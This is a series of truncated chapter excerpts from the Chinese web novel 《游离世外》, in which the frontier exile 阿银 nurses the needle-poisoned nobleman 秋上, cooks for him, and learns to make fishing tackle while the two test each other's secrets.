阿银心里有谱,秋上大致是何种门第的公子。又在心里摆算,一直醒不过来的话,将他推到黑市,能卖到几钱。 这般想着,口中的汤食更美味了些。他端着第二碗走向了秋上。 秋上躺着无知无觉,面容俊美,唇色转淡。 可见是从鬼门关打转,回了口气。 阿银可记得,初见秋上那一眼,淡淡一瞥,对面冰晶雪玉一般的脸上,神色澶澹,也掩藏不了锋利而昭示的气息:是个有野心的。 可他现在,寂然静默,姿容苍白,又能做得了什么? 阿银将一匙汤搁在秋上嘴边,敲了敲他的唇,睇眼看,那人像死了一般,眼皮都未曾抖动半分。 分不了羹,那便自己一人喝完。 阿银 6.被冒犯 《游离世外》全本免费阅读 秋上的气脉凝绝得厉害,一阵阵的拥堵,让他的墨眉禁不住微蹙了起来。 他的气穴里有四根药针,淬过毒,是父王以重手法拍进去的,还被耳提面命发落一句“宁可死,毋要废”,就此流放到边关。 这四根针大有来头,被娘亲斥为“丧心病狂蛇鼠小人针”,传闻二十年前,草莽江湖间,曾有人下过这种折磨人的手段。 若是中了此针,需在子时与辰时各运功一次,引住针脚,不至于让它游走进内脏。但施刑者手法重,针扎得深,使得受难者气力内劲受制,忍受着药针七弯八曲地撞击,还不能提气一捣黄龙将它迫出去。 平常行止,已与废人无异。 秋上为了在父王眼下苟延,有意闭气封穴,不发一丝气力,将痛苦减至最小。饶是这样,每日两次的毒针折磨,总是准时来到。 任何的外力损伤,与针毒一起,必定是成倍施与他身。 他每每硬扛,不显露颜色于人前。 那些不曾颤动的衣襟纹饰,那些风雪消融的痛苦呼吸,使他得以周全于世上。 但他万万没料到,随手一指的三号地桩,竟是个断头桩,给他带来了新一轮的剥肤之痛。 睡至半夜,暖炕火熄了,冷空气从四面八方赶来,扑卷到炕上两人身上。 秋上不知他去鬼门关转悠了几次,从雪地到海底到猎车跑得几近倾覆,总有冰屑雪沫般的气息萦绕在周围,还有挥之不去的血锈味道。 他闭眼,冥死一般,极力不感触外界。 但总有一人,以粗粝的冰冷,硬生生挤进他的六识中,放肆呼吸吐纳,全然不顾他的感受。 如同此时。 秋上衣襟散尽,胸口搭的一角被子,被人毫不留情卷走。底下的炕是冷的,硬且干涸;身侧的人也是冷的,蜷缩成一团,肩线抻着一韧瘦削,绷得直了,道出了熟睡后的戒备意味。 鼻端递过来的,有淡淡的皂角味道,还有沉溺在发丝与皮肤中的苦咸。 秋上意识彻底清醒,这种无形的侵略,来自于一个叫作“银”的男人。 不知父王下针的手法,那人还对着他的经脉一顿乱推,四枚针倏忽钻得更深,生生把他痛醒。 醒来后,光景大不如前。 因为旁边还睡着个人,无所顾忌,侵占整个床幅。 蓦地,身边人翻过身来,纤长睫毛扑落两下,尔后徐徐掀出两轮银瞳。 近处来看,银色中掺杂些微淡绿,筑成明色底基,与苍白冷澈的肌肤镶衬,美得招张而肆无忌惮。瞳孔边缘还有黑色地榭,将银色铸在其中,只许惊鸿一瞥,便叫人看不见其他的东西,只跟着这抹芒寒色正转悠。 阿银静静瞧着秋上,秋上僵硬仰躺于炕,侧颜冷峻,手脚冰凉,气息滞得久了,才极为缓慢地吐息一下。过后,勉力送来一个字:冷。 阿银伸手替秋上整理好衣襟、长裤,将被子还给秋上,赤脚走下炕,转到屋外,给炕底添了不少柴火。 走回来,点燃烛火,将烛台搁放在炕头壁架上,自身站在炕边,默不作声垂袖看着秋上。 一轮灰扑扑的阴影便笼罩在床炕上,阿银的轮廓被光亮放大了几分。 秋上经受严苛教养,即使落难,屈居寒室,也不至于改变自身的文华、礼仪修束,去侧目窥探室内的一切。 他忍受针毒经脉之痛,安然平卧,旁边却偏偏有人站着不走,强行将自己的容貌投注进秋上的视野里。 只见那人立足脚踏上,纤瘦身形显得极高,拖着长长的白衫,束着长长的下裳,背披长长的打着一些小结儿的黑发,色泽亮了不少,只是旁枝末节的地方,逆发而生,像是晒炸开的稻草。 他就这样拖着长长的、些许杂乱的发被,素净着一张苍白的脸,一动不动看着秋上。 如影随形的附髓感,还怎样让秋上调息缓痛睡觉的? 他对上他的幽深银瞳,示意他,有话快说。 阿银垂眼瞧了许久,涩然道:“只有一张火炕。” 秋上闭眼,以示不想交谈。若在平时,无论在府宅、司衙、会宴任何场合,旁人尊他身份,必定不忤逆他心意。 阿银却是个无眼力见的,秋上发现,世俗的礼仪教养于他而言,形同无物。 阿银杵着一张惨白的脸,在炕边站立良久。虽闭着双眸,秋上也能察觉到,那些紧紧攫取的目光,像丝线一样,肆意缠绕在他的眉眼、喉脖等地方,在等待他的反应。 秋上定力如山,雪颜冷清。 过了一会儿,一根冰凉的手指探了探他的鼻息。 他未作反应,那根手指沿着他的唇中、下颌,点检一丁儿冰雪淅索意,按住了他的喉头。 威胁的意味昭然若揭。 秋上从指下的按捺间,溢出一个字:睡。 炕边那道白衣白裤幽浮一般的身影远去,添火后又晃悠回来,睡在了床侧。 依然带着满身风雪的苦咸气息,头上还搁置着一些白雪。 眯眼一小会儿,翻过身来,正对着秋上的侧脸,银瞳复又徐徐投注在他的脸上。 秋上不想动,也不能动。 耳边传来一句淡淡的声音:“公子生得美,我心下慕往之,犯不着拘束。” 秋上着实无语。 倘若他想想办法,还是可以手刃这个男的。 只是他不甘愿,前番的伏低隐忍,矢志达成父王命令的种种努力,被这等无边际的人物冲破功了。 于是敛容送出一字:止。 语声与打量遂止。 半宿相安无事。 尤因气血亏败得厉害,秋上至巳时才转醒。 炕底有余温,身侧无人。 秋上试着运了运力,用娘亲传授的医诀心法,单手半握,自疏右臂气脉。方才的辰时,他能强忍下针刺的痛楚,不至于醒来,应是气血流转变快的缘故罢。 运力过后,右手安全无虞,竟出落得较为便利。 秋上细一思量,突又想起,今宿凌晨被阿银拿热盅灸过穴位,还被他用细致的手法,推赶过上肢的经脉。 或许误打误撞,因祸得福,解救了右臂。 秋上再次运气寻针,气息内滞而缓慢行走,专司针刺处拥堵。他寻到了一处可以下手的穴位,阳溪。 开口唤道:“阿银!” 无人应。 就连铁匠也未曾见返。 秋上忍痛以右臂支起身,放缓动作,取到了炕头灯台。他将芯柱擦净,用火折子炙了遍柱尖,然后对准右手腕的阳溪穴刺去。 鲜血薄如细缕。 他将右手移到左手边,就势从血肉中掏出一枚一寸两分的银针,借光仔细打量。 针 7.斗心术 《游离世外》全本免费阅读 风卷雪漫,飘扬洒向门院。边角有一樽水缸,结了冰,上面放着阿银随手搁置的一片蓑叶,摊着一团雪,像是开封后的粽子。 偏远之地,无腊梅竹木等增添秀美,突兀的院子,只有白雪流照晶莹。 雪沫挂在两人的眼睫上,如扶飒霜花,点染各自的瞳底颜色。一个是冰玉裁剪的一般,形若清岚,风雪而不改颜色;一个是疏落纤瘦,似鹤栖于涧,坐在木凳上,背脊还是挺直的。 两人观雪,心里也在盘算事情。 良久,阿银开口说:“积雪难行,夷离堇便不会追来,公子安心歇息两日,待天放晴,我送公子回驿馆,随后去留依公子之意。” 秋上回:“嗯。” 阿银:“若有辽人刁难,料想公子也有法子处置,不用我跟在身边转圜添乱。” “铁匠呢?” “难得公子还记得那人。他已回了寨堡,归顺给了耶律慕,辽人再想抓他,瞧着耶律家的金面,也要掂量一二。” “我买了你。” “啧,还念着这叨事。我本痴顽,不服管束,依仗的不过是滥命一条,公子留不得我。” 秋上早就想到了,因而另起一事说:“你去了西边市集。” “你又如何知道?” 秋上的眼光落在阿银的脚上,让阿银猛然想起,他先前的靴子湿透了,才抢了人家的暖毡靴。 秋上道:“落雪一个时辰积半寸。” 阿银听明白了,秋上从他靴底的湿度与渍痕,推断出他行走的方向。再依脚程快慢与积雪厚度,断定他从七里外的海津镇市集而来。 他随口回道:“好眼力。” 观察细致入微并不算什么,阿银心想,动荡世道安身法则而已。可随之而来的对话,逐渐让阿银开眼界。 秋上问:“你遇到了什么人?” “生意人。” “或许遭遇了什么事?” “没什么事,就是买卖而已。” “既是买卖,”秋上攫取着那双游离的银瞳,看着他说道,“为何进屋时脚步漂浮,似有心事?” “素来如此,非一日一时之态。” “那我换个问法。” “我不想答。” “到底是什么事情,让你散了心神,连椒盐罐掉落在外也不知道?” “讶。”阿银立刻起身,从木架上抽了把小铁铲,走到院门外,低头细细翻找。 他蹲下身,差不多把每块土砖都戳到了,并没有发现硬物。 拎着铲子走回来,阿银站在秋上的椅边,很近的距离。“您知道么,我一锤能打倒一头牛。” 秋上道:“退后。” “此话不听。” “退后!” 阿银拿铲子拍了一下秋上的车椅,轮毂后弹出一个小抽屉,内有一卷书册,主人想得细致,用油纸包扎,还用线绳勒住固定了位置。 他持铲问:“这是何物?” 秋上答:“《职方要术》。” “应许是个宝贝吧?” “你退后。” 阿银抛下小铲,笃的一声,直落在屉缘上,把柄还在冷风中嗡嗡响颤。 阻止了机关回弹。 秋上道:“我曾在职方司任职。” “那又如何?” “主事舆图城隍,与司市多有接触。” 阿银抄手,低眼逡着秋上。 “曾手勘一册《食珍案》,详录各地馐馔,现已失传。” 阿银听到了重点:失传。 “‘醯酱点橙酥,冰粢蓑叶鱼’,即使远僻之人,总能听得?” 阿银不由摇头,“未曾有幸听到——”突又察觉道:“您这是拐弯说我乡巴佬吧。” 秋上不动声色,“案录我朝十三道百许州计千余种烹制方子,均版刻在心。” 阿银微微躬身,对上秋上的眸子,“公子如此机变,引得我这田舍奴折腰。” “轶卷——想要么?” “不想。” “你退后。” 阿银依言后退一步。 “曾闻海津镇兵司监不设盐水饭(牢饭),狱监传你每餐必不落下。” “确有其事。” “餐食何来?” “外送。” “这便是你不越狱之缘由?” 阿银齐齐整整地笑了,露出一小口洁白的牙,“在公子眼里,我是如此死乞白赖的么?” 秋上淡淡道:“能留你不走的,必定是非常之事。” “也并非是极为异常的,只不过我发现,跑来跑去,总得有个落脚地。” “海津临海产盐,司制混乱,民贫地瘠,兵扰甚烦。” “唔,听着确实不像是个好去处。” 既听事主亲口否认,不为事情而来,秋上将推测侵入第二层,“那便是为了某人而来。” 阿银徐徐立起腰身,涩然道:“外面风冷,我送公子进屋。” “不急,我想观雪。” 阿银回头端详疾风骤雪。 “在狱中,你能接触的只有典狱、监务、役工、囚犯,及送饭的家眷。役工已死,囚犯散亡,家眷排除在外,剩下的两个,其中之一,必是你要找的人。” 阿银面朝风雪而立,片片雪花扑落苍白脸颊之上,带来累累的凉沁。 此时无需让他回头,业已领教到秋上观人、识微、见著的本领。 “典狱。”秋上最终道。 他的推论鲜少出错。昨日滩场狩猎,监务在场,阿银瞧都不瞧那人一眼,只剩下未曾到场且被阿银唾其面的典狱。 阿银再也不搭话,已知言多必被逐底的道理。 “既不说话,那便是了。” “您说是就是吧。” “你退下。” 这次阿银想退得远远的,就走下了阶梯。 “停。” 阿银停步。听到秋上又说:“脚边,阶下。” 阿银低头瞧瞧脚边,白雪莹莹,未见任何端倪。 “椒盐。” 阿银这才醒悟过来,伸手摸向雪地,掏出了遗落的那只调料罐。 原来秋上不曾戏弄于他。当真是他想着心事,跺脚除雪时,把平时看得贵重的口食料品都弄丢了。 阿银毫不犹豫收进腰囊里。 只要他没有犹疑时,眼瞳里的颜色就未发生任何变化,一圈黑色的地榭牢牢镶住流银,不曾扩张半分。 秋上目力如炬,透过风雪,细细看他的眼睛。 有时,这双眼瞳的主人,会扑落下鸦羽似的睫毛,遮住内里的情绪。 大多时,他会用布巾遮挡,既是御光,也是不将异色示之于人。 秋上猜测,他这双异于常人的眼睛,没少招致非议。 虽说秋上供职京师皇城,平时多与番邦外族交涉,胡商外使的瞳仁生得颜色各异,也让他觉得,唯独阿银最为炫丽。 “银”之一字,恰如其分。 这厢里,阿银瞥了秋上一眼,系上了布巾。在宽阔眼布映衬下,脸显得更小了。除了一截挺直的鼻子和两片嘴唇露在外面,任何点滴细小的表情,已无处安放下去。 秋上知道他一双眸子亮得很,即使蒙上一层布,也不妨碍他肆意游目各处。 因而在面上显露关切说:“进来些,廊外有雪。” 阿银站在阶下仰头看雪,动也未动。 秋上就道:“第一次瞧见大雪么?” 阿银随口答:“隆冬大雪,素昧平生。” “那么,你是蜀池人?” “和公子说话极费脑力,而我此时,不想劳神费力。” 秋上:“圣朝疆域内外均逢雪,只有蜀池,集天险万壑为障 8.心好累 《游离世外》全本免费阅读 阿银合起手诏,叉手为礼,将手诏放置好,再将秋上朝门内推了推,离开满廊风雪。 他取来一张软毯,放在秋上膝上,问:“公子为何不带随从?” “使唤你不得?” 阿银扶车的手势一顿:“我这田舍村夫毕竟粗鄙了些。” “个中原委,不便对你细说。” “诺。” 阿银走到廊下,避门远远的,坐在椅中,静默观雪。 沉寂中,秋上说:“你还未曾对我说明,出身来历。” 阿银权衡一下,斟酌说道:“我叫游离,蜀池人,故国被圣上所狩,阖家大小殁于火灾,只有我逃了出来。因无户籍,多使杂役,辗转流徙于关口海外,后认了铁匠做义兄,时常受他接济。” “还有呢?” “除高丽使者,无其他案状在身。曾遭主家倒卖两次,次次严酷驯化,难以对人生出亲近心。” “你倒聪明,一句‘难以’,将对我种种恶行,一并遮掩了过去。” 阿银起身遥遥行了个礼。 秋上看着他:“眼睛是天生的么?” 阿银叹口气:“主家见我顽劣,将我囚于幽谷地牢喂食毒药,生生给磨瞎的。” “你的主家是谁?” “如今的蜀池郡公。” 孟钦一,蜀池国前太子太傅,文武全才,弼政监国,翻阅当今史籍《太平实录》还能找到他的一席之地,进入史册之人,必不是泛泛之辈。临封蜀池郡公那阵,秋上入宫侍读,曾在廊庑下匆匆瞥见孟钦一。 那人受圣上优待,准以骑马配剑入朝。却弃了周身配饰,仅着一银白素袍,清清落落步行至殿中。不过二十岁光景,生得昳丽不可方物,断然让人想不到,如此静雅士子,能以摧枯拉朽之势,一举吞没蜀池,然后不费圣上一兵一卒,手不刃血供奉上蜀池,尊大宋为正朔。 秋上彼时十二,对凤资之人印象深刻。 若说是孟钦一这样的手段,调教出阿银这等胆大妄为的,秋上深认其理。 “他教你武艺、文化?” 别听秋上说得云淡风轻,阿银知道,他又在下连环索套。你若是应了他的话,他会推榷你的身份,何德何能,让一国之太傅亲自教习你。 因而暗叹口气,不着痕迹说道:“区区一奴隶,怎会得郡公垂青。我是家生子,倒茶添香时,偷学到一些微末,还时常被郡公发觉,罚了我的饭食。” 秋上道:“你抬起头。” 阿银抬头。 秋上说:“你须知道,骗我下场如何。” 阿银在眼布后扬了扬睫毛,稍稍转瞳,弄得布料极轻微的窸窣一响,容色仍是如常。 秋上:“《编敕宋刑统》由我提案,无人能在我手上走完一式。” 阿银淡淡道:“可想诏狱之惨烈。” “这话你先且记下。” “诺。” 该问的问完,秋上心中自有论断,从容观雪,视若无人。阿银偷瞥一眼,秋上侧颜冷峻,眉眼深隆,雪片挂在黑而长的眼睫上,也被他一身的冷清击散。 阿银不扰他,逡了眼铁匠家的边架,从上面抽出一把称手的铁锤,提着朝外走去。 秀颀的身影很快融入风雪中。 过了小半时辰,阿银提着一尾鲜活的白鱼走回来,锤头裹着冰碴子,也不知他是怎样用锤子捕到鱼的。 满身风雪不及他的喜悦。 他站在廊下潦草行个礼,细细地问:“公子的‘冰粢蓑叶鱼’,能说说方子么?” 若他谦卑时,模样是极让人受用的。肤白发黑,所露的半截脸秀丽无双,将声音团得紧了,没有平时的冷质,还将纤瘦不堪一握的腰身躬下来,顺势勾拉下布巾,渗落出一些炫丽眼色,紧紧攫住秋上的侧脸。 秋上看都不看他:“备纸。” 竟能奏得奇效。阿银明了,秋上是个吃软不吃硬的。 他迅速取来铁匠打样的纸笔,放在秋上面前。 秋上道:“我说,你写。” 阿银朝手心里呵口气,握紧了笔杆。 秋上侧头看,持笔之姿文雅,手腕虽纤瘦,运笔却稳定。 就是字迹被阿银拢袖遮住了,看不清如何。 阿银得了烹鱼的方子,细致背下,放入怀中。 所谓拿人手短吃人嘴软,况且还是连吃带拿,怀揣着人家的金叶子没有发落下去。 由此,阿银待秋上上心了些,将他推到内室窗边,取来两座熏笼,左右各置一个,还细致问过他的要求,一应照办,才走出去做自己的事。 他将白鱼砸进雪中,用雪水擦拭清洗,开膛破肚,塞入椒盐姜块。 又摸到厨房忙活一阵,一盘蓑叶鱼成型。他将蓑叶及鱼都划了几道,从上勾芡酱料,汁水淋漓,与白底盘互相辉映。 拿进去给秋上过目,秋上只需闻到一丝味道,就说道:“免了。” 阿银便知遭嫌弃,自己的功夫火候没到家。 乐得独享。 他持箸吃得文雅宁静,反正眼睛蒙着布,就当看不见秋上在一旁的注视。 收拾好盘盏,他问:“公子歇息么?” 秋上回:“你自去。” 阿银先将熏笼烧得旺旺的,再去烧火炕,等着满屋气温暖和起来。他走到廊边,看到蓑叶有剩余,抓起两团雪,放在蓑叶里,包扎成几个小粽子,然后放在水缸上。 室内燃起了灯,用一层油纸蒙着挡风。秋上闭目养神。 只内室有光亮,其余地方都是黑魆魆的。 廊中站着阿银。 久囿于黑暗,他已然习惯阴翳处,解开蒙眼布,看着茫茫四野。 雪停,夜空极静,万籁无声。 细心听了一阵,无任何飞禽走兽的动静,铁匠布置的响铃、地陷等已被埋没,只能靠阿银夜晚的值守与警戒。 若是此地只余他一人,倒是好处置,占尽双目视物的便利,一逃了之。 关键是屋里还有个饭票与他绑定了。 那是铁匠当宝贝一样捡来的,不留下来善后,发落一句“不可糟蹋人家”,硬将人塞与他。他等不见铁匠的回转,心知铁匠已找到庇护的法子,青天白日里,只好自己去市集采办补给,顺便打探一下镇里的消息。 随身携带的一些碎银,是从偏房暗格里搜刮出来的,不用说,当炎颜归家后,发觉辛苦攒下的工钱没了着落,回头又得来找阿银麻烦。 阿银收监,身无他物,出来一趟,自然少不了买些小食杂物。 买荷叶鸡时,打听了一下眼路多的人是谁,摊主向他荐了个牙婆。 阿银找到了声名在外的牙婆。牙婆拿到开口费,利索说了,昨夜里震天一响,盐场那边传来火光,还有官府设哨盘查,不知在找寻什么人。一些贫民小百姓,主要是汉人,悄悄跟在小贩帮夫后,想连夜出城,结果又被辽人喝退。 “哎哟,要是我说,还往哪儿跑呢?北边都是辽人的地盘,旮旮旯旯打仗,躲得了初一躲得了十五么?不如去大家里寨堡,找个主子安生靠着。进不去的,就跟我一样,乖乖缩在地下城,等着外面翻天。等天一晴,划拨的划拨,盘营 9.死德性 《游离世外》全本免费阅读 阿银在廊下守了小半夜,雪风透窗而过,突然让他醒悟,屋里有个动不了的人,这会儿是不是凉透了。 连忙走回屋查看。 秋上平躺于炕,面色如羊脂白玉,较之先前,冷凝了一些。 阿银狐疑走过去,伸指探了探秋上的鼻息,有极微弱的反应,胸膛却是平整的,一点未见起伏。 低语道:“公子些须撑着点,在这荒郊野外殁了,委实对不住圣朝颜面。” 可他也未曾想,僵卧孤村死得透心凉,又不是人能选个地方的。 他觉得应该给秋上挪个窝,将麻烦和咎责统统甩出去。 阿银点燃烛台,烧热熏笼,环顾一周查无缺漏,解开秋上的上衣,用热手巾给他细细擦汗。 秋上的皮肤保养得极好,不像自己,身上有伤,眼里有风霜。沿着窄劲的腰身往下擦拭,要将他翻过来时,动作突地被一只手臂打断。 阿银抬眸,散漫的目光绕过匹缎般光滑的上半身,落进秋上的眼里。 秋上不知何时已醒来,竟能一把抓住阿银的手腕,力道之大,让人切实体会到,平时掌握生杀予夺的权力,该有多强悍。 阿银静静看他:“我就说公子没那么虚吧,平日里装得实诚,只要能使唤我,决计不会假手于他人。” 孤灯照银瞳,有暗暗光彩流动,眼中无风无疾,平平而道的语气。 秋上径直扯倒阿银卧在胸前,忍痛道:“好好服侍我,升籍为良,并同家眷入我宅邸颐养。” 阿银冷嗤:“公子已是行将就木,还需什么样的服侍?” 秋上微启声道:“替我……替我祛除……” 祛服?祛衣服做什么?阿银打心底瞧不起:“就您这个模样,如何能尝云雨?” 秋上闭眼,拉住阿银的手不放,“我能信得过你么?” “我么,没试过,不知那些滋味;您呢,瞧着盘根错节,恐怕力道顶不住。” 秋上忍不住,紧掐了阿银的手腕,阿银嘴角溢出了一点吸气声。 秋上低声说:“改不了的死德性!——你听仔细些。” 阿银:“兴许圣朝尚人趴在袒胸上听个小曲儿?” 秋上的呼吸浊重了些,最终被迫放手,屈指按住自己的左臂,唇色褪成浅紫。 阿银移目过去,这才发觉,秋上的左臂僵硬,经脉有屈突状。 再看秋上的脸色,凝雪如纸,不露端倪。 他竟生生忍着痛,不曾示意于人,阿银自然也不知道,平日里秋上是怎样压抑痛楚的。于是顺势猜测,依他骄矜的性子,怕是痛得狠了,才饥不择食拉自己做援手。 阿银不是那种耳恭面顺的人,还冷眼旁观了一会儿。见他微微蹙起的眉,心里无端很欢悦。 方才秋上说什么来着? “我能信得过你么?”哪有人痛得死去活来的,还去质疑唯一的援手,是不是忠诚? 当然,先前那些对人下的黑手、凉薄的念头,此刻在阿银心里统统不作数的。 抻得够久了,阿银才淡淡地问:“说罢,要我做什么?” 秋上忍痛煎熬,气息几乎断绝,虽说淫渍苛训苦久,能让面色无虞、颜容冷峻,但近两日多次落于阿银之手,委他粗粝照看,此时此刻眼前无人,只能屈就一试。 “昨日凌晨,你是怎样做的?” 阿银想了想,露出一个不怀好意的笑容,“恐怕有些不妥当吧。” 秋上意外得知,在推针之前,阿银极有可能对他做过大不敬的事。 他默默泅了一口血,冷声道:“只准灸我左臂,替我推赶气脉,手斜了一分,我拿住铁匠是问。” 呀,这个威胁有说服力,比起捏死他,阿银还是牵挂身边人的。要不怎么说,秋上观人入微,就算龙居浅水遭虾戏,尊上一开口也是直奔你命门来的。 阿银冷眼又抻了一会儿,看着秋上阖目敛容,生生克制痛意。 反泅的那口污血终究缓缓流出。 阿银立时就动作了,快手快脚置办热灸的小盅、毛巾、敷药等,挽起了袖子。 秋上看到那莹瘦的臂上有几道暗伤,结过痂,呈淡红色。阿银的皮肤还是好的,完整的透白,不像是落拓在外的皲裂粗糙,只在腕上部有一处浅浅的胎记,像是山石形状。 阿银道声得罪,跪在炕上,用手巾打结,捆住了秋上吃痛的左肩。只因臂身太过生硬,点穴之法已失去作用,用割臂放血、热灸穴位、出柔力推赶的三路法子,还能搏勇试一试。 阿银垂头专心诊治秋上,一头漆黑的发从耳旁分落下来,遮住了他的脸、他的眼。他无暇而顾,两手推赶秋上的手臂上的经络,疏导气血流通,一扇青丝掖着他的臂弯,有些碍事,他便随手反捋起黑发,别进耳后。 忍痛之余,秋上便微微张目,半截秀颀的脖颈、半轮紧致而瘦削的脸庞映入眼帘。 阿银抿着唇,神情认真,秀长的眉微微皱着,半分不含平日里的疏冷与闲漠,眼眸低垂,切切瞧着秋上的臂。 还不是一无是处。蓦地浮起这一念头,让秋上转过眼睛。 炕边衣架,他的衣袍挺直垂落,竟然是熨干整理过的。 片刻之间,就发觉了阿银做事的细处,不是他想的那般不牢靠。 蓦地,两根冰凉的手指搭上了秋上颈侧的络脉,重重一按,“死不得,撑着些。” 一点的信任欣然被生生打散。 秋上冷冷道:“未到地府黄泉,也要被你送上奈何桥。” 一个风吹就倒的人,生得如此奇大手劲,秋上更愿意相信,阿银是故意的。 阿银直直望他:“公子怪我气力大了么?早先就说过了,我手脚粗鄙,田舍村夫出身,伺候不了公子的精当,不如替您传个信,请贴心的人过来服侍您。” “想得倒美。”秋上下了令断,“你与我同进同退,生是我的人,死了也要砌成翁仲塞进郊陵。” 呀,真是难缠。阿银下手又重了一分。 话已抛出,秋上便生生受了阿银的压迫,这点皮肉之痛也只是微末。 眼见那人像一块冰也似的躺着,全然不设防御,阿银也就轻慢了折磨他的念头,低声问:“还有什么吩咐的?” 秋上复又睁眼,瞥见阿银的脸容,是清肃的,没有一点玩笑意味,才放下心来,口述传授法诀,指点他助自己导针。 费了半宿的精力,阿银听从一切主张指令,终于从秋上左臂中掏出一枚血锈银针。他举针打量一眼,随手丢向边角,暗想着,原来看起来高不可攀的国公世子,其实也受人辖制的。 能注进这种长针,且令楚世子忍受痛楚不作声张的,恐怕也是身份干系不小的人物。 亲友、尊长、圣上……一轮轮朝上想,都是惹不得的。 阿银泯灭了一去探究竟的心思,装作什么都不懂的样子,替秋上止血。 静寂中,秋上说道:“帝王御人,讲究掣肘,这些不便示于你,并非有意隐瞒。你是我属从,更是我左臂右膀,需同心协力,泄露不得半点口风。” 这番恩威并重的陈词,换作他人,必定感到深受主君器重、肩担不可言说国之重责,在阿银眼里,却是麻烦大了。 他淡淡说道:“公子不用给我戴高帽,有什么吩咐只管交代下来就是。” 秋上还没遇见过任何一个像阿银这样油盐不进的人,就像猎到了奇兽,也是出乎意外的,他对他摆足了耐心。 言简意赅 10.钓鱼组 《游离世外》全本免费阅读 辰时,秋上被针痛唤醒,手抚炕面,还有余温,就连床边的熏笼,也留着些暖烬。 可见阿银没有诓他,半夜是起来添加了柴火的。 秋上支撑起身,站在脚踏上,试了试气血的运行。 依然像往常一般,下身血脉堵塞,气力不继。若走上一步,需忍受巨大的痛苦。 他没有唤阿银,偏向耳力一听,也知寂静小院里无人。 于是一步步缓行到偏房里洗漱、整理。 他的两腿有些肿胀,身形清减了一圈,穿上原来的衣装,已经宽阔了,束起白玉带时,带扣活舌还得紧缩一节。 日常一盏茶工夫的事情,现今要大半个时辰来做。 直板门吱呀一声响时,秋上随手抹去额上重汗。 廊外传来阿银跺脚扫雪的声音。他打起棉纸帘进了门,先拿眼扫了秋上周身一遍,才说:“公子换上了常服,是打算出门么?” “嗯,酉时雪停,你随我同去。” 阿银走过去扶住秋上,“身子好些了吗?” “两腿废疾,不能自常。” 阿银看他脸周,仍有些薄汗,知他吃了苦头才收拾好自身。对于一早没候在一旁好伺候的事儿,阿银解释道:“这个村子遭辽人清洗,所剩无多。我去周围转了转,取了些柴火用物。” 他将轮椅推过来,安置好秋上,放他在廊内观雪。又取来灶膛里煨好的蔬菜粥,拿出肉脯,放在粥里泡发了,一并拿给了秋上。 秋上看着白绿红三色早膳,没有动作。 阿银递上瓷勺,“粗茶淡饭才有人间滋味,公子将就些。先垫巴垫巴肚子,我等会给您打个猎。” 秋上接过白勺,刮了两口粥吃。 “不合口味吧?您等等。”阿银转身去厨房,将肉脯捣烂,与菜粥混匀了,再端出来。 这下,秋上连刮点白粥的盈余也找不到了。 “已食足,多谢。” 阿银却不听他的,替他舀了一大口,殷切地放在他嘴边。 秋上抬指隔档开。 阿银将陶碗放在廊栏上,转身取来一块布,迎风呼的一展,作势要给秋上的脖颈围上。 秋上马上说:“我吃,你退下。” 阿银取过粥,殷殷看着,秋上一点点吃完。 阿银觉得完成了一件天大的事情,自己也去吃了早饭,收拾好,回到廊左木椅前,坐下观雪。 两人一时无语。 乡野村舍,没有围炉饮茶的雅趣,没有妍梅青丛的点缀,只有苍旻皓雪,风声凄凄。 百无聊赖时,阿银说:“雪下得小了,我推公子走走。” 只要别人不嫌麻烦,秋上无异议,“也行。” 阿银穿上蓑衣,拿铁锸铲雪,清扫出了一条通往院外的小道。他将家里的蓑衣拆开,拼接成一扇长草带,垫在轮车底防滑。 秋上淡然看着阿银积极钻营,心知,昨晚许诺让他自由离去,这话起了极大的成效。从今日凌晨起,阿银待自己细致周全,前后截然不同,大概是把住了他脉门的缘故。 阿银费了一番力气,将秋上送到村前一株雪树前,替秋上撑起了一把青色大伞,自身就得了便利。他坐在木桩上,团着手,看着前面的雪地。 秋上怀疑他在守株待兔,瞟了眼他手上的暗器,认得那是用蓑叶包扎的小粽子。 两人待了很久,兔子不见有,走兽无一露头。 阿银站起身,“不如去钓鱼。” 秋上回道:“不兴空手归。” 阿银瞥他一眼,淡淡道:“昨晚那条蓑叶鱼,不正是我的手笔么?” “你出门不持竿,专用铁锤?” 阿银不语。 秋上又道:“如此大刀阔斧一砸,垂钓之情便荡然无余。” “哎哑,能捕到鱼就成。” “今日带上我,这桩活计另说。” “那您想怎样?” “我授你一些法子,日后垂钓口食无忧。” 有这等好事,阿银很乐意做。他听从秋上一切主张,先将人推回小院,找齐木料、工具,堆到秋上桌前。又找来两根合适的木棍,耐心地削成钓竿。秋上在一旁做出了转轴小轮、荻梗浮标,两只手既修长又稳定,刀凿之功和精细之力,着实可见一斑。 阿银凑在边上衷心道:“公子手真巧。” 他说这话时,眼瞳眨都不眨,长长的睫抖落了一些碎风残影,一张脸尽数杵在了秋上的手边,正是认真打量的模样。 秋上未答,递过去一张砂纸,示意他打磨钓竿。阿银接过就待上手,秋上拉住他的手腕,说道:“戴上手套。” 阿银翻过自己的手掌瞧了瞧,有些细茧,突然想到,今早凌晨给秋上推赶脉络时,是不是咯着人的皮肤了。 秋上道:“木刺、砂纸碍手,刮痛了实在不好,就算为了我,也要保护得精细些。” 好罢,阿银心悦诚服,取过递来的羊膜手套戴上,依照吩咐,处理好钓竿。 两人齐心做好了钓鱼物件,整个过程不仅相安无事,而且默契横生。 阿银并未想到,秋上如此迁就待他,实则是磨砺他的锐气,向他展露同心协力的功效。 秋上打量过阿银的眼瞳,适时说道:“我再给个法子,教你拌鱼食。” “好嘞。” 从几处陋室搜刮来食材,阿银听令煨热粟米,用酒浸泡,捞干等晾。闲暇时,秋上唤阿银取来米饼磨成粉末,化开油脂,将粉末、油脂、米粒混合在一起,逐次少量加水,叮嘱说:“手不可抖,清水少许加入,粘稠适中,五成湿度。” 阿银屏气静声,十足的耐心,终将糊糊揉成一个个食饵团。 他发觉这比包粽子和伺候人难多了。 窝料做好,秋上给阿银串好双钩,说道:“若能掘些地虫更好。” 这有什么好说的呢,阿银立刻拿小铲去翻土砖,秋上坐在廊中看他顶着一头薄雪蹲在院里忙乎。触目所见的白,悄悄放缓的风声,凉透的空气,屋角几乎断绝的虫喁……荒村小院里的一切,与纷乱的外界割舍开来,返璞归真,质朴净白,让平素紧弦待发的秋上,突然察觉到不一样的宁静。 这是不知从哪里冒出来的阿银所带来的 11.身份证 《游离世外》全本免费阅读 未时,白雪翩然而下。 阿银借来秋上所撰的《职方要术》,坐在廊中翻阅,等候炉上雪水烧开。 翻开书一看,满册的图纸和旁录银钩铁画的字迹。 